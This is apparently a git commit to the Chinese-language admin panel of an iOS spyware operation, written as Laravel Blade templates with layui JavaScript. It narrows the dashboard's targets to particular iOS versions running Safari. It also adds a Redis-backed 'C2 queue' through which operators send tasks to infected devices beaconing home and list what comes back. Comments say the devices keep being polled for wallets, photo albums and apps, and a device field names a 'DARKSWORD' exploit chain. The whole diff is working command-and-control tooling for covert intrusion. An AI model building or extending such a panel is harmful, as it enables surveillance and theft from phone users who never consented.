feat: 18
This commit is contained in:
@@ -179,7 +179,7 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
|
||||
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
|
||||
<div class="dash-grid dash-grid-2">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">页面 PV</div>
|
||||
|
||||
@@ -88,59 +88,130 @@
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
@if (($beaconTasks ?? collect())->isNotEmpty())
|
||||
@php
|
||||
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
|
||||
$queueCurrent = $queuePending
|
||||
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
|
||||
@endphp
|
||||
<div class="layui-elem-quote" style="margin:0 0 16px;">
|
||||
C2 队列
|
||||
@if ($queuePending)
|
||||
· 下一条 <code>{{ $queuePending->type }}</code>
|
||||
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
|
||||
· 已下发未回传,下一轮 /beacon 会重试
|
||||
@else
|
||||
· 本轮已回传,之后继续轮询钱包/相册/应用
|
||||
@endif
|
||||
</div>
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
<thead>
|
||||
<tr>
|
||||
<th width="60">#</th>
|
||||
<th width="180">任务</th>
|
||||
<th width="120">状态</th>
|
||||
<th width="180">下发时间</th>
|
||||
<th width="180">回传时间</th>
|
||||
<th>回传</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@foreach ($beaconTasks as $task)
|
||||
@php
|
||||
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
|
||||
@endphp
|
||||
<tr style="{{ $rowStyle }}">
|
||||
<td>{{ $task->position }}</td>
|
||||
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
|
||||
<td>{{ $task->statusLabel() }}</td>
|
||||
<td>{{ $task->dispatched_at ?: '—' }}</td>
|
||||
<td>{{ $task->completed_at ?: '—' }}</td>
|
||||
<td class="wrap">
|
||||
@if ($task->result_count)
|
||||
{{ $task->result_count }} 次
|
||||
@if (!empty($task->result_meta['filename']))
|
||||
· {{ $task->result_meta['filename'] }}
|
||||
@endif
|
||||
@else
|
||||
—
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
@endforeach
|
||||
</tbody>
|
||||
</table>
|
||||
@php
|
||||
$queueState = $queueState ?? ['pending' => [], 'dispatched' => [], 'done' => []];
|
||||
$queueTypes = \App\Services\DsBeaconQueue::ALL_TYPES;
|
||||
$queueSchema = $queueSchema ?? \App\Services\DsBeaconQueue::PARAM_SCHEMA;
|
||||
$statusLabels = \App\Services\DsBeaconQueue::STATUS_LABELS;
|
||||
$hasQueue = !empty($queueState['pending']) || !empty($queueState['dispatched']) || $device->chain === \App\Models\Device::CHAIN_DARKSWORD;
|
||||
@endphp
|
||||
@if ($hasQueue)
|
||||
<div class="layui-elem-quote" style="margin:0 0 16px;">
|
||||
C2 队列 (Redis)
|
||||
@if (!empty($queueState['pending']))
|
||||
· 下一条 <code>{{ $queueState['pending'][0]['type'] }}</code>
|
||||
@elseif (!empty($queueState['dispatched']))
|
||||
· 已下发未回传
|
||||
@else
|
||||
· 队列已空
|
||||
@endif
|
||||
· <span style="font-size:12px;color:#999;">回传结果见「日志」</span>
|
||||
</div>
|
||||
|
||||
{{-- Add task: layui button opens layer.open with form select + dynamic params --}}
|
||||
<div style="margin-bottom: 16px;">
|
||||
<button type="button" class="layui-btn layui-btn-sm" id="btnQueueAdd">
|
||||
<i class="layui-icon layui-icon-add-1"></i> 添加任务
|
||||
</button>
|
||||
</div>
|
||||
|
||||
@php
|
||||
// Build a per-type label map from PARAM_SCHEMA: type => [field name => label]
|
||||
$paramLabelsByType = [];
|
||||
foreach ($queueSchema as $type => $fields) {
|
||||
foreach ($fields as $f) {
|
||||
$paramLabelsByType[$type][$f['name']] = $f['label'];
|
||||
}
|
||||
}
|
||||
@endphp
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
<thead>
|
||||
<tr>
|
||||
<th width="60">#</th>
|
||||
<th width="140">任务</th>
|
||||
<th>参数</th>
|
||||
<th width="100">状态</th>
|
||||
<th width="160">下发时间</th>
|
||||
<th width="160">回传时间</th>
|
||||
<th>回传</th>
|
||||
<th width="80">操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{{-- Pending tasks (removable) --}}
|
||||
@php $rowIdx = 0; @endphp
|
||||
@foreach ($queueState['pending'] as $task)
|
||||
@php $rowIdx++; @endphp
|
||||
<tr style="background:#f0fdf4;">
|
||||
<td>{{ $rowIdx }}</td>
|
||||
<td><code>{{ $task['type'] }}</code></td>
|
||||
<td class="wrap">
|
||||
@php
|
||||
$params = $task['params'] ?? [];
|
||||
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
|
||||
$parts = [];
|
||||
foreach ($params as $pk => $pv) {
|
||||
if ($pv === null || $pv === '' || $pv === false) continue;
|
||||
$lbl = $typeLabels[$pk] ?? $pk;
|
||||
if (is_bool($pv)) $pv = $pv ? '是' : '否';
|
||||
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
|
||||
}
|
||||
@endphp
|
||||
{!! !empty($parts) ? implode('', $parts) : '—' !!}
|
||||
</td>
|
||||
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
|
||||
<td>—</td>
|
||||
<td>—</td>
|
||||
<td>—</td>
|
||||
<td>
|
||||
<button type="button" class="layui-btn layui-btn-sm layui-btn-danger"
|
||||
onclick="queueRemove('{{ $task['task_id'] }}', '{{ $task['type'] }}')">移除</button>
|
||||
</td>
|
||||
</tr>
|
||||
@endforeach
|
||||
|
||||
{{-- Dispatched tasks (in-flight) --}}
|
||||
@foreach ($queueState['dispatched'] as $task)
|
||||
@php $rowIdx++; @endphp
|
||||
<tr style="background:#fff7ed;">
|
||||
<td>{{ $rowIdx }}</td>
|
||||
<td><code>{{ $task['type'] }}</code></td>
|
||||
<td class="wrap">
|
||||
@php
|
||||
$params = $task['params'] ?? [];
|
||||
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
|
||||
$parts = [];
|
||||
foreach ($params as $pk => $pv) {
|
||||
if ($pv === null || $pv === '' || $pv === false) continue;
|
||||
$lbl = $typeLabels[$pk] ?? $pk;
|
||||
if (is_bool($pv)) $pv = $pv ? '是' : '否';
|
||||
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
|
||||
}
|
||||
@endphp
|
||||
{!! !empty($parts) ? implode('', $parts) : '—' !!}
|
||||
</td>
|
||||
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
|
||||
<td>{{ $task['dispatched_at'] ?? '—' }}</td>
|
||||
<td>—</td>
|
||||
<td>—</td>
|
||||
<td>—</td>
|
||||
</tr>
|
||||
@endforeach
|
||||
|
||||
@if ($rowIdx === 0)
|
||||
<tr><td colspan="8" style="text-align:center;color:#999;">队列为空,点击「添加任务」按钮添加</td></tr>
|
||||
@endif
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
{{-- Hidden data for JS --}}
|
||||
<script>
|
||||
var queueParamSchema = @json($queueSchema);
|
||||
var queueAddUrl = @json(route(($portal ?? 'admin').'.devices.queue.add', $device));
|
||||
var queueRemoveUrl = @json(route(($portal ?? 'admin').'.devices.queue.remove', $device));
|
||||
var csrfToken = @json(csrf_token());
|
||||
</script>
|
||||
@endif
|
||||
|
||||
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
|
||||
<ul class="layui-tab-title">
|
||||
@@ -675,4 +746,214 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
{{-- ===== C2 队列管理 (layui 组件) ===== --}}
|
||||
<script>
|
||||
layui.use(['form', 'layer', 'jquery'], function () {
|
||||
var form = layui.form;
|
||||
var layer = layui.layer;
|
||||
var $ = layui.jquery;
|
||||
|
||||
// 命令类型列表(key => 中文描述)
|
||||
var queueTypes = @json(\App\Services\DsBeaconQueue::ALL_TYPES);
|
||||
var paramSchema = window.queueParamSchema || {};
|
||||
var addUrl = window.queueAddUrl;
|
||||
var removeUrl = window.queueRemoveUrl;
|
||||
var token = window.csrfToken;
|
||||
|
||||
|
||||
// 构建「添加任务」弹窗的 HTML(含 layui form select + 动态参数容器)
|
||||
function buildAddFormHtml() {
|
||||
var opts = '<option value="">请选择命令</option>';
|
||||
for (var k in queueTypes) {
|
||||
if (!queueTypes.hasOwnProperty(k)) continue;
|
||||
opts += '<option value="' + k + '">' + k + ' (' + queueTypes[k] + ')</option>';
|
||||
}
|
||||
return ''
|
||||
+ '<form class="layui-form" id="queueAddForm" lay-filter="queueAddForm" style="padding:20px 24px;">'
|
||||
+ '<div class="layui-form-item">'
|
||||
+ '<label class="layui-form-label">命令</label>'
|
||||
+ '<div class="layui-input-block">'
|
||||
+ '<select name="type" lay-filter="queueTypeSelect" lay-search>' + opts + '</select>'
|
||||
+ '</div>'
|
||||
+ '</div>'
|
||||
+ '<div id="queueParamFields"></div>'
|
||||
+ '<div class="layui-form-item" style="margin-bottom:0;">'
|
||||
+ '<div class="layui-input-block">'
|
||||
+ '<button type="button" class="layui-btn" id="queueAddSubmit" lay-submit lay-filter="queueAddSubmit">提交</button>'
|
||||
+ '<button type="reset" class="layui-btn layui-btn-primary" style="margin-left:8px;">重置</button>'
|
||||
+ '</div>'
|
||||
+ '</div>'
|
||||
+ '</form>';
|
||||
}
|
||||
|
||||
// 根据选中命令类型渲染动态参数字段
|
||||
function renderParamFields(type) {
|
||||
var $box = $('#queueParamFields');
|
||||
$box.empty();
|
||||
var fields = paramSchema[type] || [];
|
||||
if (!fields.length) {
|
||||
return;
|
||||
}
|
||||
var html = '';
|
||||
for (var i = 0; i < fields.length; i++) {
|
||||
var f = fields[i];
|
||||
var name = f.name, label = f.label, ftype = f.type, def = f.default, req = f.required;
|
||||
var reqMark = req ? '<span style="color:#ff5722;">*</span> ' : '';
|
||||
if (ftype === 'select') {
|
||||
var opts = '';
|
||||
if (f.options) {
|
||||
for (var ok in f.options) {
|
||||
if (!f.options.hasOwnProperty(ok)) continue;
|
||||
opts += '<option value="' + ok + '"' + (ok == def ? ' selected' : '') + '>' + f.options[ok] + '</option>';
|
||||
}
|
||||
}
|
||||
html += '<div class="layui-form-item">'
|
||||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||||
+ '<div class="layui-input-block">'
|
||||
+ '<select name="params[' + name + ']" lay-filter="param_' + name + '">' + opts + '</select>'
|
||||
+ '</div>'
|
||||
+ '</div>';
|
||||
} else if (ftype === 'checkbox') {
|
||||
var checked = def ? ' checked' : '';
|
||||
html += '<div class="layui-form-item">'
|
||||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||||
+ '<div class="layui-input-block">'
|
||||
+ '<input type="checkbox" name="params[' + name + ']" lay-skin="switch" lay-text="开|关"' + checked + '>'
|
||||
+ '</div>'
|
||||
+ '</div>';
|
||||
} else if (ftype === 'textarea') {
|
||||
html += '<div class="layui-form-item layui-form-text">'
|
||||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||||
+ '<div class="layui-input-block">'
|
||||
+ '<textarea name="params[' + name + ']" placeholder="请输入' + label + '" class="layui-textarea" style="height:120px;">' + (def || '') + '</textarea>'
|
||||
+ '</div>'
|
||||
+ '</div>';
|
||||
} else if (ftype === 'number') {
|
||||
html += '<div class="layui-form-item">'
|
||||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||||
+ '<div class="layui-input-block">'
|
||||
+ '<input type="number" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
|
||||
+ '</div>'
|
||||
+ '</div>';
|
||||
} else {
|
||||
// text
|
||||
html += '<div class="layui-form-item">'
|
||||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||||
+ '<div class="layui-input-block">'
|
||||
+ '<input type="text" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
|
||||
+ '</div>'
|
||||
+ '</div>';
|
||||
}
|
||||
}
|
||||
$box.html(html);
|
||||
form.render(null, 'queueAddForm');
|
||||
}
|
||||
|
||||
// 绑定「添加任务」按钮
|
||||
$('#btnQueueAdd').on('click', function () {
|
||||
var idx = layer.open({
|
||||
type: 1,
|
||||
title: '添加 C2 任务',
|
||||
area: ['520px', '500px'],
|
||||
maxmin: false,
|
||||
content: buildAddFormHtml(),
|
||||
success: function (layero, index) {
|
||||
// 渲染初始 select
|
||||
form.render(null, 'queueAddForm');
|
||||
|
||||
// 监听命令类型切换
|
||||
form.on('select(queueTypeSelect)', function (data) {
|
||||
renderParamFields(data.value);
|
||||
});
|
||||
// 监听提交
|
||||
form.on('submit(queueAddSubmit)', function (data) {
|
||||
submitAddTask(data.field, index);
|
||||
return false;
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// 提交添加任务
|
||||
function submitAddTask(formData, layerIndex) {
|
||||
if (!formData.type) {
|
||||
return layer.msg('请选择命令类型', { icon: 2 });
|
||||
}
|
||||
// 收集 params
|
||||
var params = {};
|
||||
var fields = paramSchema[formData.type] || [];
|
||||
for (var i = 0; i < fields.length; i++) {
|
||||
var f = fields[i];
|
||||
var key = f.name;
|
||||
var raw = formData['params[' + key + ']'];
|
||||
if (raw === undefined || raw === '') {
|
||||
if (f.required) {
|
||||
layer.msg('请填写 ' + f.label, { icon: 2 });
|
||||
return;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (f.type === 'number') {
|
||||
params[key] = Number(raw);
|
||||
} else if (f.type === 'checkbox') {
|
||||
params[key] = (raw === 'on' || raw === true || raw === 'true');
|
||||
} else {
|
||||
params[key] = raw;
|
||||
}
|
||||
}
|
||||
var loadIdx = layer.load(1, { shade: 0.2 });
|
||||
$.ajax({
|
||||
url: addUrl,
|
||||
method: 'POST',
|
||||
data: { type: formData.type, params: params, _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loadIdx);
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '添加失败', { icon: 2 });
|
||||
}
|
||||
layer.close(layerIndex);
|
||||
layer.msg('已添加', { icon: 1, time: 800 }, function () {
|
||||
location.reload();
|
||||
});
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loadIdx);
|
||||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '添加失败';
|
||||
layer.msg(msg, { icon: 2 });
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// 移除任务(使用 layui layer.confirm 替代原生 confirm)
|
||||
window.queueRemove = function (taskId, type) {
|
||||
layer.confirm('移除此任务?(' + type + ')', {
|
||||
icon: 3,
|
||||
title: '移除任务'
|
||||
}, function (index) {
|
||||
layer.close(index);
|
||||
var loadIdx = layer.load(1, { shade: 0.2 });
|
||||
$.ajax({
|
||||
url: removeUrl,
|
||||
method: 'POST',
|
||||
data: { task_id: taskId, _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loadIdx);
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '移除失败', { icon: 2 });
|
||||
}
|
||||
layer.msg('已移除', { icon: 1, time: 800 }, function () {
|
||||
location.reload();
|
||||
});
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loadIdx);
|
||||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '移除失败';
|
||||
layer.msg(msg, { icon: 2 });
|
||||
}
|
||||
});
|
||||
});
|
||||
};
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
|
||||
Reference in New Issue
Block a user